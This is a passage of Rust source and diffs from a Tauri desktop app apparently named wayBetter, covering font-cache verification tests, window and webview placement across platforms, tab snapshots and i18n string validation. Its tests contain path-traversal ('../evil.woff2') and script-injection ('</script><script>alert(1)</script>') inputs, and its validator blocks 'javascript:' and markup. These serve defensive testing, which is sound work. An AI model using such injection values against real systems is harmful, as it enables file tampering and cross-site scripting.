assert_eq!(read, manifest);
let family_dir_path = family_dir(dir.path(), "Lato").unwrap();
let verified = verify_cached(&family_dir_path, &read).unwrap();
assert_eq!(verified, vec![face_bytes]);
assert_eq!(cache_bytes(dir.path()), 100);
assert_eq!(list_installed(dir.path()).len(), 1);
}
#[test]
fn tampered_cache_file_fails_verification() {
let dir = tempfile::tempdir().unwrap();
let mut face_bytes = vec![0u8; 60];
face_bytes[0..4].copy_from_slice(b"wOF2");
face_bytes[8..12].copy_from_slice(&60u32.to_be_bytes());
let face = Face { subset: None, style: "normal".into(), weight: (400, 400), url: "https://fonts.gstatic.com/s/x.woff2".into(), unicode_range: None };
let weights = Weights::List { values: vec![400] };
let manifest = write_family(dir.path(), "Lato", &weights, &[(face, face_bytes)], "2026-01-01T00:00:00Z".into()).unwrap();
let family_dir_path = family_dir(dir.path(), "Lato").unwrap();
std::fs::write(family_dir_path.join(&manifest.faces[0].file), vec![1u8; 60]).unwrap();
let err = verify_cached(&family_dir_path, &manifest).unwrap_err();
assert_eq!(err, "FONTS: cache damaged");
}
#[test]
fn oversized_buffer_is_rejected() {
let dir = tempfile::tempdir().unwrap();
let mut face_bytes = vec![0u8; 48];
face_bytes[0..4].copy_from_slice(b"wOF2");
face_bytes[8..12].copy_from_slice(&(MAX_FILE_BYTES as u32 + 1).to_be_bytes());
face_bytes.resize(MAX_FILE_BYTES + 1, 0);
let face = Face { subset: None, style: "normal".into(), weight: (400, 400), url: "https://fonts.gstatic.com/s/x.woff2".into(), unicode_range: None };
let weights = Weights::List { values: vec![400] };
let err = write_family(dir.path(), "Lato", &weights, &[(face, face_bytes)], "2026-01-01T00:00:00Z".into()).unwrap_err();
assert_eq!(err, "FONTS: invalid font file");
}
#[test]
fn manifest_with_path_traversal_file_name_is_rejected() {
let manifest = Manifest {
family: "Lato".into(),
weights: Weights::List { values: vec![400] },
faces: vec![CachedFace { file: "../evil.woff2".into(), weight: [400, 400], unicode_range: None, subset: None, bytes: 48, sha256: "0".repeat(64) }],
bytes: 48,
installed_at: "2026-01-01T00:00:00Z".into(),
source: "google".into(),
};
assert!(manifest.validate().is_err());
}
#[test]
fn page_script_escapes_closing_script_tags() {
let fonts = vec![serde_json::json!({ "family": "</script><script>alert(1)</script>", "faces": [] })];
let script = page_script(&SITE, &fonts).unwrap();
assert!(script.starts_with("(()=>{if(window.top!==window||location.origin!=='https://x.com')return;"));
assert!(script.contains("const BT=window.BetterTwttr;"));
assert!(!script.contains("</script>"));
assert!(script.contains("<\\/script>"));
}
#[test]
fn page_script_is_none_for_empty_fonts() {
assert!(page_script(&SITE, &[]).is_none());
}
#[test]
fn valid_family_rejects_bad_names() {
assert!(valid_family("Lato"));
assert!(valid_family("Noto Sans JP"));
assert!(!valid_family(""));
assert!(!valid_family(" Lato"));
assert!(!valid_family("Lato "));
assert!(!valid_family("Lato Bold"));
assert!(!valid_family("../x"));
assert!(!valid_family(&"a".repeat(49)));
}
}

View file

@ -185,12 +185,497 @@ pub fn system_menu<R: Runtime>(webview: &Webview<R>, x: f64, y: f64) -> Result<(
Ok(())
}
/// Windows: a graceful close sent to one of the process's helper windows closes the app window
/// instead. Call once from `setup`, on the main thread, after the main window is built. No-op
/// elsewhere.
///
/// tao's thread event target and the single-instance plugin's message window are visible (1 px,
/// layered, transparent) unowned top-level windows. `taskkill /PID` without `/F` posts one
/// `WM_CLOSE` to the first such window in z-order; a minimized window sinks to the bottom, so the
/// close hit a helper, `DefWindowProc` destroyed it (a second instance could no longer find us,
/// or the event loop lost its target) and the app kept running.
pub fn route_helper_closes<R: Runtime>(window: &tauri::Window<R>) {
#[cfg(windows)]
helper_close::install(window);
#[cfg(not(windows))]
let _ = window;
}
#[cfg(windows)]
mod helper_close {
use windows::core::BOOL;
use windows::Win32::Foundation::{HWND, LPARAM, LRESULT, WPARAM};
use windows::Win32::System::Threading::GetCurrentThreadId;
use windows::Win32::UI::Shell::{DefSubclassProc, RemoveWindowSubclass, SetWindowSubclass};
use windows::Win32::UI::WindowsAndMessaging::{
EnumThreadWindows, GetWindow, IsWindow, IsWindowVisible, PostMessageW, GW_OWNER, WM_CLOSE, WM_NCDESTROY,
};
const SUBCLASS_ID: usize = 0x7762_636c; // "wbcl"
pub(super) fn install<R: tauri::Runtime>(window: &tauri::Window<R>) {
let Ok(main) = window.hwnd() else { return };
// SAFETY: enumerates and subclasses windows of the calling (event loop) thread only;
// `main` is passed by value through the LPARAM / ref data.
unsafe {
let _ = EnumThreadWindows(GetCurrentThreadId(), Some(visit), LPARAM(main.0 as isize));
}
}
unsafe extern "system" fn visit(hwnd: HWND, main: LPARAM) -> BOOL {
let main = HWND(main.0 as *mut _);
// Visible, unowned, not the app window: what `taskkill` may pick. IME windows are hidden.
if hwnd != main && IsWindowVisible(hwnd).as_bool() && GetWindow(hwnd, GW_OWNER).is_err() {
let _ = SetWindowSubclass(hwnd, Some(forward), SUBCLASS_ID, main.0 as usize);
}
BOOL(1)
}
unsafe extern "system" fn forward(
hwnd: HWND,
msg: u32,
wparam: WPARAM,
lparam: LPARAM,
id: usize,
main: usize,
) -> LRESULT {
match msg {
WM_CLOSE => {
let main = HWND(main as *mut _);
if IsWindow(Some(main)).as_bool() {
let _ = PostMessageW(Some(main), WM_CLOSE, WPARAM(0), LPARAM(0));
return LRESULT(0);
}
}
WM_NCDESTROY => {
let _ = RemoveWindowSubclass(hwnd, Some(forward), id);
}
_ => {}
}
DefSubclassProc(hwnd, msg, wparam, lparam)
}
}
/// Places a child webview (tab, popover) at a rectangle of its window, in logical px.
///
/// Windows/macOS: the native child bounds. Linux: tauri 2 packs every child webview into the
/// window's GtkBox (`build_gtk` with a box: stacked one under another, bounds ignored), so the host
/// moves each one into the GtkOverlay made by [`attach_shell`] and places it there.
pub fn place_child<R: Runtime>(webview: &Webview<R>, x: f64, y: f64, width: f64, height: f64) {
#[cfg(target_os = "linux")]
linux::place(webview, x, y, width, height);
// One native move+resize: separate set_position/set_size calls were two WebView2 `SetBounds`
// (the page re-laid out at the old size, then at the new one) and two main-thread messages.
#[cfg(not(target_os = "linux"))]
let _ = webview.set_bounds(tauri::Rect {
position: tauri::LogicalPosition::new(x, y).into(),
size: tauri::LogicalSize::new(width, height).into(),
});
}
/// Linux: the shell webview becomes the base layer of a GtkOverlay filling the window, which
/// [`place_child`] layers tab webviews over. Call once, right after the shell is added. No-op
/// elsewhere.
pub fn attach_shell<R: Runtime>(shell: &Webview<R>) {
#[cfg(target_os = "linux")]
linux::attach_shell(shell);
#[cfg(not(target_os = "linux"))]
let _ = shell;
}
/// Puts the shell webview above every tab webview (`on_top`), so shell menus, dialogs and drag
/// zones draw over the panes while the panes stay on screen (the shell page must then be
/// transparent where the panes are), or back below them. Returns whether this platform can.
/// Windows: WebView2 hosts each webview in its own child window, re-ordered with `SetWindowPos`
/// (no activation or focus change). Linux: the shell's place among the GtkOverlay's layers
/// ([`attach_shell`]). macOS: the shell's WKWebView re-ordered among its superview's subviews
/// (first responder kept). Elsewhere the caller hides the tabs instead.
pub fn raise_shell<R: Runtime>(shell: &Webview<R>, on_top: bool) -> bool {
#[cfg(windows)]
{
let _ = shell.with_webview(move |platform| {
use windows::Win32::Foundation::HWND;
use windows::Win32::UI::WindowsAndMessaging::{
SetWindowPos, HWND_BOTTOM, HWND_TOP, SWP_NOACTIVATE, SWP_NOMOVE, SWP_NOOWNERZORDER, SWP_NOSIZE,
};
let mut container = HWND::default();
// SAFETY: the shell's own live controller and its container window, on the main
// thread (with_webview runs the closure there).
unsafe {
if platform.controller().ParentWindow(&mut container).is_ok() && !container.is_invalid() {
let after = if on_top { HWND_TOP } else { HWND_BOTTOM };
let _ = SetWindowPos(
container,
Some(after),
0,
0,
0,
0,
SWP_NOMOVE | SWP_NOSIZE | SWP_NOACTIVATE | SWP_NOOWNERZORDER,
);
}
}
});
true
}
#[cfg(target_os = "linux")]
{
linux::raise_shell(shell, on_top);
true
}
#[cfg(target_os = "macos")]
{
macos::raise_shell(shell, on_top);
true
}
#[cfg(not(any(windows, target_os = "linux", target_os = "macos")))]
{
let _ = (shell, on_top);
false
}
}
#[cfg(target_os = "macos")]
mod macos {
use objc2_app_kit::{NSResponder, NSView, NSWindowOrderingMode};
use tauri::{Runtime, Webview};
pub fn raise_shell<R: Runtime>(shell: &Webview<R>, on_top: bool) {
let _ = shell.with_webview(move |platform| {
// SAFETY: `inner` is the shell's live WKWebView (an NSView) and its superview (the
// window's content view, which owns it), on the main thread (with_webview runs the
// closure there).
let view: &NSView = unsafe { &*platform.inner().cast::<NSView>() };
let Some(parent) = (unsafe { view.superview() }) else { return };
// Re-adding a subview can resign it as first responder: typing stays where it was.
let window = view.window();
let focused = window.as_ref().and_then(|window| window.firstResponder()).is_some_and(|responder| {
responder.downcast_ref::<NSView>().is_some_and(|responder| responder.isDescendantOf(view))
});
let mode = if on_top { NSWindowOrderingMode::Above } else { NSWindowOrderingMode::Below };
parent.addSubview_positioned_relativeTo(view, mode, None);
if focused {
if let Some(window) = window {
let responder: &NSResponder = view;
window.makeFirstResponder(Some(responder));
}
}
});
}
}
/// Where [`place_child`] last put a child webview, in logical px (x, y, width, height). Linux
/// only: there `Webview::position` is not the placement (always 0,0 outside X11 child windows).
#[cfg(target_os = "linux")]
pub fn placed_rect<R: Runtime>(webview: &Webview<R>) -> Option<(f64, f64, f64, f64)> {
linux::placed(webview.label())
}
#[cfg(target_os = "linux")]
mod linux {
use gtk::prelude::*;
use std::collections::HashMap;
use std::sync::atomic::{AtomicBool, Ordering};
use std::sync::{Mutex, OnceLock};
use tauri::{Runtime, Webview};
type Rect = (f64, f64, f64, f64);
/// A child's placement in whole px (x, y, width, height), kept on the GTK widget.
type GtkRect = (i32, i32, i32, i32);
const RECT_KEY: &str = "waybetter-rect";
fn rects() -> std::sync::MutexGuard<'static, HashMap<String, Rect>> {
static RECTS: OnceLock<Mutex<HashMap<String, Rect>>> = OnceLock::new();
RECTS.get_or_init(Default::default).lock().unwrap_or_else(|poisoned| poisoned.into_inner())
}
pub fn placed(label: &str) -> Option<Rect> {
rects().get(label).copied()
}
/// The shell is above the tab webviews ([`raise_shell`]).
static RAISED: AtomicBool = AtomicBool::new(false);
/// The shell is the overlay's first layer (under the tabs, which `place` adds above it) or,
/// raised, its last. Tabs placed while it is raised go under it.
pub fn raise_shell<R: Runtime>(shell: &Webview<R>, on_top: bool) {
RAISED.store(on_top, Ordering::SeqCst);
let _ = shell.with_webview(move |platform| {
let widget = platform.inner().upcast::<gtk::Widget>();
let Some(overlay) = widget.parent().and_then(|parent| parent.downcast::<gtk::Overlay>().ok()) else { return };
overlay.reorder_overlay(&widget, if on_top { -1 } else { 0 });
});
}
pub fn attach_shell<R: Runtime>(shell: &Webview<R>) {
let _ = shell.with_webview(|platform| {
let widget = platform.inner().upcast::<gtk::Widget>();
let Some(vbox) = widget.parent().and_then(|parent| parent.downcast::<gtk::Box>().ok()) else { return };
let overlay = gtk::Overlay::new();
// Exactly the placed rectangle: the default position uses the child's preferred size,
// which WebKit (not the placement) decides.
overlay.connect_get_child_position(|_, child| {
// SAFETY: "waybetter-rect" is only ever set by `place`, always as `GtkRect`.
let (x, y, w, h) = unsafe { *child.data::<GtkRect>(RECT_KEY)?.as_ptr() };
Some(gtk::gdk::Rectangle::new(x, y, w, h))
});
// `widget` holds a reference, so removing it from the box does not destroy it. The
// shell is an overlay layer too (an empty box is the base), so it can be re-ordered
// above the tabs; with no placement it fills the overlay (Fill alignment).
vbox.remove(&widget);
widget.set_halign(gtk::Align::Fill);
widget.set_valign(gtk::Align::Fill);
overlay.add(&gtk::Box::new(gtk::Orientation::Vertical, 0));
overlay.add_overlay(&widget);
vbox.pack_start(&overlay, true, true, 0);
overlay.show();
});
}
pub fn place<R: Runtime>(webview: &Webview<R>, x: f64, y: f64, width: f64, height: f64) {
rects().insert(webview.label().to_owned(), (x, y, width, height));
// Whole px, with the right/bottom edges rounded the same way as the left/top ones.
let (left, top) = (x.round(), y.round());
let (w, h) = (((x + width).round() - left).max(1.0), ((y + height).round() - top).max(1.0));
let _ = webview.with_webview(move |platform| {
let widget = platform.inner().upcast::<gtk::Widget>();
// SAFETY: read back only as `GtkRect` (the overlay's get-child-position handler).
unsafe { widget.set_data::<GtkRect>(RECT_KEY, (left as i32, top as i32, w as i32, h as i32)) };
let Some(parent) = widget.parent() else { return };
if parent.downcast_ref::<gtk::Overlay>().is_none() {
// First placement: out of the window box (where tauri packed it), into the overlay.
let Ok(vbox) = parent.downcast::<gtk::Box>() else { return };
let Some(overlay) = vbox.children().into_iter().find_map(|child| child.downcast::<gtk::Overlay>().ok()) else {
return;
};
vbox.remove(&widget);
overlay.add_overlay(&widget);
if RAISED.load(Ordering::SeqCst) {
overlay.reorder_overlay(&widget, 0);
}
}
widget.queue_resize();
});
}
}
/// The event carrying a tab's last frame to the shell ([`capture_still`]).
pub const EVENT_TAB_STILL: &str = "tab-still";
#[cfg(windows)]
const EVENT_TAB_STILL_START: &str = "tab-still-start";
#[cfg(windows)]
const EVENT_TAB_STILL_CANCEL: &str = "tab-still-cancel";
#[cfg(windows)]
const EVENT_TAB_STILL_RESET: &str = "tab-still-reset";
#[cfg(windows)]
#[derive(Clone, Serialize)]
struct TabStill {
id: String,
/// `data:image/jpeg;base64,…`
image: String,
token: u64,
}
#[cfg(windows)]
#[derive(Clone, Serialize)]
struct TabStillToken { id: String, token: u64 }
#[cfg(windows)]
#[derive(Clone, Copy, PartialEq, Eq)]
enum StillPhase { Pending, Hidden }
#[cfg(windows)]
#[derive(Clone, Copy)]
struct StillEntry { token: u64, phase: StillPhase }
#[cfg(windows)]
impl StillEntry {
fn accepts(self, token: u64) -> bool { self.token == token }
fn hide(&mut self, token: u64) -> bool {
if !self.accepts(token) || self.phase != StillPhase::Pending { return false; }
self.phase = StillPhase::Hidden;
true
}
}
#[cfg(all(test, windows))]
mod still_tests {
use super::{cancel_pending_still, pending_stills, StillEntry, StillPhase};
#[test]
fn timeout_keeps_late_frame_valid_but_stale_tokens_cannot_hide() {
let mut entry = StillEntry { token: 7, phase: StillPhase::Pending };
assert!(!entry.hide(6));
assert!(entry.hide(7));
assert!(entry.accepts(7)); // CapturePreview may finish after the bounded hide.
assert!(!entry.hide(7)); // A late acknowledgement must not hide a shown tab again.
entry = StillEntry { token: 8, phase: StillPhase::Pending };
assert!(!entry.accepts(7));
assert!(!entry.hide(7));
}
#[test]
fn teardown_invalidates_old_capture_before_same_label_is_reused() {
let label = "tab-still-test-recreated";
pending_stills().lock().unwrap().insert(label.into(), StillEntry { token: 31, phase: StillPhase::Hidden });
assert_eq!(cancel_pending_still(label), Some(31));
pending_stills().lock().unwrap().insert(label.into(), StillEntry { token: 32, phase: StillPhase::Pending });
let current = pending_stills().lock().unwrap().get(label).copied().unwrap();
assert!(!current.accepts(31));
assert!(current.accepts(32));
cancel_pending_still(label);
}
}
#[cfg(windows)]
fn pending_stills() -> &'static std::sync::Mutex<std::collections::HashMap<String, StillEntry>> {
use std::sync::{Mutex, OnceLock};
static PENDING: OnceLock<Mutex<std::collections::HashMap<String, StillEntry>>> = OnceLock::new();
PENDING.get_or_init(Default::default)
}
#[cfg(windows)]
fn cancel_pending_still(label: &str) -> Option<u64> {
pending_stills().lock().unwrap_or_else(|poisoned| poisoned.into_inner()).remove(label).map(|entry| entry.token)
}
#[cfg(windows)]
fn hide_after_still<R: Runtime>(app: &AppHandle<R>, label: &str, token: u64) {
let app = app.clone();
let label = label.to_owned();
let dispatcher = app.clone();
// Webview::show/hide both execute on Tauri's main thread. Check the token there, directly
// before hiding, so a queued hide cannot run after a newer show canceled this capture.
let _ = dispatcher.run_on_main_thread(move || {
let current = {
let mut pending = pending_stills().lock().unwrap_or_else(|poisoned| poisoned.into_inner());
pending.get_mut(&label).is_some_and(|entry| entry.hide(token))
};
if current {
if let Some(tab) = app.get_webview(&label) { let _ = tab.hide(); }
}
});
}
/// The shell has painted a captured frame; complete the bounded overlay handoff.
#[cfg(windows)]
pub fn acknowledge_still<R: Runtime>(app: &AppHandle<R>, id: &str, token: u64) {
if policy::valid_tab_id(id) {
hide_after_still(app, &policy::tab_label(id), token);
}
}
#[cfg(not(windows))]
pub fn acknowledge_still<R: Runtime>(_app: &AppHandle<R>, _id: &str, _token: u64) {}
/// Windows: a tab webview about to be hidden hands the shell its last frame (WebView2
/// `CapturePreview`, JPEG) as [`EVENT_TAB_STILL`], which its pane shows while no webview is on
/// screen there. Only a webview that is on screen now; requested before the hide, on the same
/// thread, so the frame is still there. Kept in the shell's memory only. No-op elsewhere.
fn capture_still<R: Runtime>(webview: &Webview<R>, token: u64) {
#[cfg(windows)]
{
let Some(id) = policy::tab_id(webview.label()).map(str::to_owned) else { return };
let label = webview.label().to_owned();
let app = webview.app_handle().clone();
let fallback = app.clone();
let fallback_label = label.clone();
let result = webview.with_webview(move |platform| {
use base64::Engine;
use webview2_com::CapturePreviewCompletedHandler;
use webview2_com::Microsoft::Web::WebView2::Win32::COREWEBVIEW2_CAPTURE_PREVIEW_IMAGE_FORMAT_JPEG;
use windows::Win32::System::Com::{STREAM_SEEK_END, STREAM_SEEK_SET};
use windows::Win32::UI::Shell::SHCreateMemStream;
// SAFETY: COM calls on this webview's live controller and a memory stream it writes
// into, on the main thread (with_webview and the completion handler run there).
unsafe {
let controller = platform.controller();
let mut shown = windows::core::BOOL::default();
if controller.IsVisible(&mut shown).is_err() || !shown.as_bool() {
hide_after_still(&app, &label, token);
return;
}
let (Ok(core), Some(stream)) = (controller.CoreWebView2(), SHCreateMemStream(None)) else {
hide_after_still(&app, &label, token);
return;
};
let target = stream.clone();
let callback_app = app.clone();
let callback_label = label.clone();
let handler = CapturePreviewCompletedHandler::create(Box::new(move |result| {
let image = (|| {
result.ok()?;
let mut size = 0u64;
target.Seek(0, STREAM_SEEK_END, Some(&mut size)).ok()?;
if size == 0 || size > 16 << 20 { return None; }
target.Seek(0, STREAM_SEEK_SET, None).ok()?;
let mut bytes = vec![0u8; size as usize];
let mut read = 0u32;
target.Read(bytes.as_mut_ptr().cast(), size as u32, Some(&mut read)).ok().ok()?;
bytes.truncate(read as usize);
Some(format!("data:image/jpeg;base64,{}", base64::engine::general_purpose::STANDARD.encode(bytes)))
})();
if let Some(image) = image {
let current = pending_stills().lock().unwrap_or_else(|poisoned| poisoned.into_inner())
.get(&callback_label).is_some_and(|entry| entry.accepts(token));
if current {
emit_shell(&callback_app, EVENT_TAB_STILL, TabStill { id, image, token });
}
} else {
hide_after_still(&callback_app, &callback_label, token);
}
Ok(())
}));
if core.CapturePreview(COREWEBVIEW2_CAPTURE_PREVIEW_IMAGE_FORMAT_JPEG, &stream, &handler).is_err() {
hide_after_still(&app, &label, token);
}
}
});
if result.is_err() {
hide_after_still(&fallback, &fallback_label, token);
}
}
#[cfg(not(windows))]
let _ = (webview, token);
}
/// Shows or hides a tab webview and sets its WebView2 memory target to match
/// ([`tabs::memory_target`]): hidden tabs run at `COREWEBVIEW2_MEMORY_USAGE_TARGET_LEVEL_LOW`
/// (ICoreWebView2_19, WebView2 Runtime 114+; older runtimes just skip it). Other platforms only
/// show/hide.
pub fn set_tab_visible<R: Runtime>(webview: &Webview<R>, visible: bool, parked: bool) {
pub fn set_tab_visible<R: Runtime>(webview: &Webview<R>, visible: bool, parked: bool, was_visible: bool) {
#[cfg(windows)]
{
let app = webview.app_handle();
let id = policy::tab_id(webview.label()).unwrap_or_default().to_owned();
if let Some(token) = cancel_pending_still(webview.label()) {
emit_shell(app, EVENT_TAB_STILL_CANCEL, TabStillToken { id: id.clone(), token });
}
if !visible && !parked && was_visible && webview.window().is_visible().unwrap_or(false) {
use std::sync::atomic::{AtomicU64, Ordering};
static NEXT: AtomicU64 = AtomicU64::new(1);
let token = NEXT.fetch_add(1, Ordering::Relaxed);
let label = webview.label().to_owned();
pending_stills().lock().unwrap_or_else(|poisoned| poisoned.into_inner())
.insert(label.clone(), StillEntry { token, phase: StillPhase::Pending });
emit_shell(app, EVENT_TAB_STILL_START, TabStillToken { id, token });
let app = app.clone();
tauri::async_runtime::spawn(async move {
tokio::time::sleep(std::time::Duration::from_millis(160)).await;
hide_after_still(&app, &label, token);
});
capture_still(webview, token);
set_memory_target(webview, visible, parked);
return;
}
}
let _ = if visible { webview.show() } else { webview.hide() };
set_memory_target(webview, visible, parked);
}
fn set_memory_target<R: Runtime>(webview: &Webview<R>, visible: bool, parked: bool) {
let _ = (webview, visible, parked);
#[cfg(windows)]
{
use std::collections::HashMap;
@ -224,3 +709,126 @@ pub fn set_tab_visible<R: Runtime>(webview: &Webview<R>, visible: bool, parked:
});
}
}
fn placements() -> std::sync::MutexGuard<'static, crate::layout::Placements> {
use std::sync::{Mutex, OnceLock};
static PLACEMENTS: OnceLock<Mutex<crate::layout::Placements>> = OnceLock::new();
PLACEMENTS.get_or_init(Default::default).lock().unwrap_or_else(|poisoned| poisoned.into_inner())
}
/// Places a tab webview and shows or hides it ([`place_child`], [`set_tab_visible`]), skipping the
/// native calls for whatever did not change since its last placement: a sync that moves one pane
/// touches one webview, and one that changes nothing costs nothing.
pub fn place_tab<R: Runtime>(webview: &Webview<R>, rect: crate::layout::Rect, visible: bool, parked: bool) {
let (changed, was_visible) = {
let mut placed = placements();
let was_visible = placed.was_visible(webview.label());
(placed.place(webview.label(), rect, visible), was_visible)
};
if changed.bounds {
let (x, y, width, height) = rect;
place_child(webview, x, y, width, height);
}
if changed.visible {
set_tab_visible(webview, visible, parked, was_visible);
} else {
set_memory_target(webview, visible, parked);
}
}
/// A tab webview was closed: a new one with the same label is placed from scratch.
pub fn forget_tab<R: Runtime>(app: &AppHandle<R>, label: &str) {
#[cfg(windows)]
{
cancel_pending_still(label);
if let Some(id) = policy::tab_id(label) {
emit_shell(app, EVENT_TAB_STILL_RESET, id.to_owned());
}
}
#[cfg(not(windows))]
let _ = app;
placements().forget(label);
}
/// The window size (logical px) and state a tab layout is clamped against.
#[derive(Clone, Copy, Debug, PartialEq)]
pub struct WindowMetrics {
pub width: f64,
pub height: f64,
pub maximized: bool,
pub frameless: bool,
}
fn metrics_cache() -> std::sync::MutexGuard<'static, Option<WindowMetrics>> {
use std::sync::{Mutex, OnceLock};
static METRICS: OnceLock<Mutex<Option<WindowMetrics>>> = OnceLock::new();
METRICS.get_or_init(Default::default).lock().unwrap_or_else(|poisoned| poisoned.into_inner())
}
fn read_metrics<R: Runtime>(window: &tauri::Window<R>) -> tauri::Result<WindowMetrics> {
let size = window.inner_size()?.to_logical::<f64>(window.scale_factor()?);
Ok(WindowMetrics {
width: size.width,
height: size.height,
maximized: window.is_maximized().unwrap_or(false),
frameless: !window.is_decorated().unwrap_or(true),
})
}
/// The window's metrics, kept current by [`follow_window_resizes`]: a tab sync (off the main
/// thread) then needs no blocking round trip to the event loop for them.
pub fn window_metrics<R: Runtime>(window: &tauri::Window<R>) -> tauri::Result<WindowMetrics> {
if let Some(metrics) = *metrics_cache() {
return Ok(metrics);
}
let metrics = read_metrics(window)?;
*metrics_cache() = Some(metrics);
Ok(metrics)
}
/// The shell laid its panes out for a window of `viewport` (its own inner size); returns the
/// window size to lay them out in now and whether the layout is stale (the window was resized
/// since). Stale layouts are re-based with [`crate::layout::follow_rect`] by the caller.
pub fn layout_window(metrics: &WindowMetrics, viewport: Option<(f64, f64)>) -> Option<(f64, f64)> {
let (width, height) = viewport.filter(|(w, h)| w.is_finite() && h.is_finite() && *w > 1.0 && *h > 1.0)?;
let stale = (width - metrics.width).abs() > 1.5 || (height - metrics.height).abs() > 1.5;
stale.then_some((width, height))
}
/// Records the window size the tab placements now correspond to.
pub fn layout_placed(metrics: &WindowMetrics) {
placements().set_window((metrics.width, metrics.height));
}
/// Keeps tab webviews glued to the window while it is resized, maximized or snapped: on every
/// resize (main thread, in the same event the runtime resizes the shell webview in) the visible
/// tabs are re-placed from the last layout ([`crate::layout::Placements::follow`]), with no JS
/// round trip. The shell's exact layout follows a frame or two later and replaces the estimate.
/// Call once from `setup`, after the window is built.
pub fn follow_window_resizes<R: Runtime>(window: &tauri::Window<R>) {
if let Ok(metrics) = read_metrics(window) {
*metrics_cache() = Some(metrics);
}
let target = window.clone();
window.on_window_event(move |event| {
if !matches!(event, tauri::WindowEvent::Resized(_) | tauri::WindowEvent::ScaleFactorChanged { .. }) {
return;
}
let Ok(metrics) = read_metrics(&target) else { return };
*metrics_cache() = Some(metrics);
// Minimized: 0x0; nothing to follow, and the next restore re-bases from the last layout.
if metrics.width < 2.0 || metrics.height < 2.0 {
return;
}
let moved = placements().follow((metrics.width, metrics.height));
for (label, (x, y, width, height)) in moved {
if let Some(webview) = target.app_handle().get_webview(&label) {
// Never over the titlebar or the resize border, like every shell layout.
let clamped = policy::clamp_tab_rect(x, y, width, height, metrics.width, metrics.height, metrics.maximized, metrics.frameless);
if let Ok(Some((x, y, width, height))) = clamped {
place_child(&webview, x, y, width, height);
}
}
}
});
}

View file

@ -0,0 +1,246 @@
//! Native side of wayBetter i18n.
//!
//! The shell owns language: it loads the catalogs, picks the locale (follow the site, follow the
//! system, or the owner's pick) and hands native code the few strings native UI needs (dialog
//! titles, notifications, the site runtime's own words) as [`NativeStrings`]. These are data only:
//! validated here (bounded, plain text, no markup or control characters), kept in app data so the
//! next launch has them before the shell loads, and delivered to site tabs as a JSON value.
//!
//! [`system_locales`] reads the OS preference for the first run and for "Follow system".
use serde::{Deserialize, Serialize};
use std::collections::BTreeMap;
/// At most this many strings reach native code (the site runtime's, the kit's, bundled plugins', native UI's).
pub const MAX_STRINGS: usize = 4000;
/// Longest message accepted.
pub const MAX_VALUE: usize = 2000;
/// Longest key accepted.
pub const MAX_KEY: usize = 96;
/// Total bytes of keys and values.
pub const MAX_TOTAL: usize = 512 * 1024;
/// A BCP 47 language tag as the catalogs use it: `tr`, `pt-BR`, `zh-Hant`, `ar-x-fm`.
pub fn valid_tag(tag: &str) -> bool {
if tag.is_empty() || tag.len() > 35 {
return false;
}
let mut parts = tag.split('-');
let Some(language) = parts.next() else { return false };
if !(2..=3).contains(&language.len()) || !language.bytes().all(|b| b.is_ascii_alphabetic()) {
return false;
}
parts.all(|part| (1..=8).contains(&part.len()) && part.bytes().all(|b| b.is_ascii_alphanumeric()))
}
/// Writing direction of a tag (by primary language).
pub fn is_rtl(tag: &str) -> bool {
let language = tag.split('-').next().unwrap_or("").to_ascii_lowercase();
matches!(language.as_str(), "ar" | "arc" | "ckb" | "dv" | "fa" | "he" | "iw" | "ks" | "ps" | "sd" | "syr" | "ug" | "ur" | "yi")
}
fn valid_key(key: &str) -> bool {
!key.is_empty()
&& key.len() <= MAX_KEY
&& key.as_bytes()[0].is_ascii_lowercase()
&& key.bytes().all(|b| b.is_ascii_alphanumeric() || matches!(b, b'.' | b'_' | b'-'))
}
/// Plain text only: no markup, no control or bidi-override characters (newlines and tabs are fine).
pub fn valid_text(value: &str) -> bool {
if value.len() > MAX_VALUE {
return false;
}
let lower = value.to_ascii_lowercase();
if lower.contains("javascript:") || lower.contains("&lt;") || lower.contains("&#60;") || lower.contains("&#x3c;") {
return false;
}
let mut chars = value.chars().peekable();
while let Some(ch) = chars.next() {
if ch == '<' {
if let Some(next) = chars.clone().find(|c| !c.is_whitespace()) {
if next.is_ascii_alphabetic() || matches!(next, '/' | '!' | '?') {
return false;
}
}
}
let code = ch as u32;
let control = (ch.is_control() && !matches!(ch, '\n' | '\t' | '\r')) || (0x202A..=0x202E).contains(&code) || (0x2066..=0x2069).contains(&code);
if control {
return false;
}
}
true
}
/// The strings native code and site tabs need, in the owner's language.
#[derive(Clone, Debug, Default, Serialize, Deserialize, PartialEq)]
#[serde(rename_all = "camelCase", default)]
pub struct NativeStrings {
/// Active locale (a catalog tag).
pub locale: String,
/// The owner's choice: `site` (follow the site's own language), `system`, or a locale tag.
pub preference: String,
pub messages: BTreeMap<String, String>,
}
impl NativeStrings {
/// Checks everything the shell sent; any bad entry refuses the whole set.
pub fn validated(self) -> Result<Self, String> {
if !valid_tag(&self.locale) {
return Err("VALIDATION: invalid locale".into());
}
if !(self.preference == "site" || self.preference == "system" || valid_tag(&self.preference)) {
return Err("VALIDATION: language preference must be \"site\", \"system\" or a locale".into());
}
if self.messages.len() > MAX_STRINGS {
return Err("VALIDATION: too many strings".into());
}
let mut total = 0;
for (key, value) in &self.messages {
if !valid_key(key) {
return Err(format!("VALIDATION: invalid string key {:?}", key.chars().take(40).collect::<String>()));
}
if !valid_text(value) {
return Err(format!("VALIDATION: string {key} is not plain text"));
}
total += key.len() + value.len();
}
if total > MAX_TOTAL {
return Err("VALIDATION: strings too large".into());
}
Ok(self)
}
/// The message for `key`, or `fallback` (English, compiled in) when there is none.
pub fn get<'a>(&'a self, key: &str, fallback: &'a str) -> &'a str {
self.messages.get(key).map(String::as_str).filter(|value| !value.is_empty()).unwrap_or(fallback)
}
/// `get` with `{name}` placeholders filled in, in one pass: values are inserted as text and are
/// never scanned for placeholders themselves. Unknown `{…}` stays as written.
pub fn format(&self, key: &str, fallback: &str, params: &[(&str, &str)]) -> String {
let template = self.get(key, fallback);
let mut out = String::with_capacity(template.len());
let mut rest = template;
while let Some(open) = rest.find('{') {
out.push_str(&rest[..open]);
let tail = &rest[open..];
let value = tail.find('}').and_then(|close| params.iter().find(|(name, _)| *name == &tail[1..close]).map(|(_, value)| (close, value)));
match value {
Some((close, value)) => {
out.push_str(value);
rest = &tail[close + 1..];
}
None => {
out.push('{');
rest = &tail[1..];
}
}
}
out.push_str(rest);
out
}
/// The strings whose keys start with one of `prefixes`, as the JSON value a site tab receives.
pub fn page_payload(&self, prefixes: &[&str]) -> serde_json::Value {
let messages: serde_json::Map<String, serde_json::Value> = self
.messages
.iter()
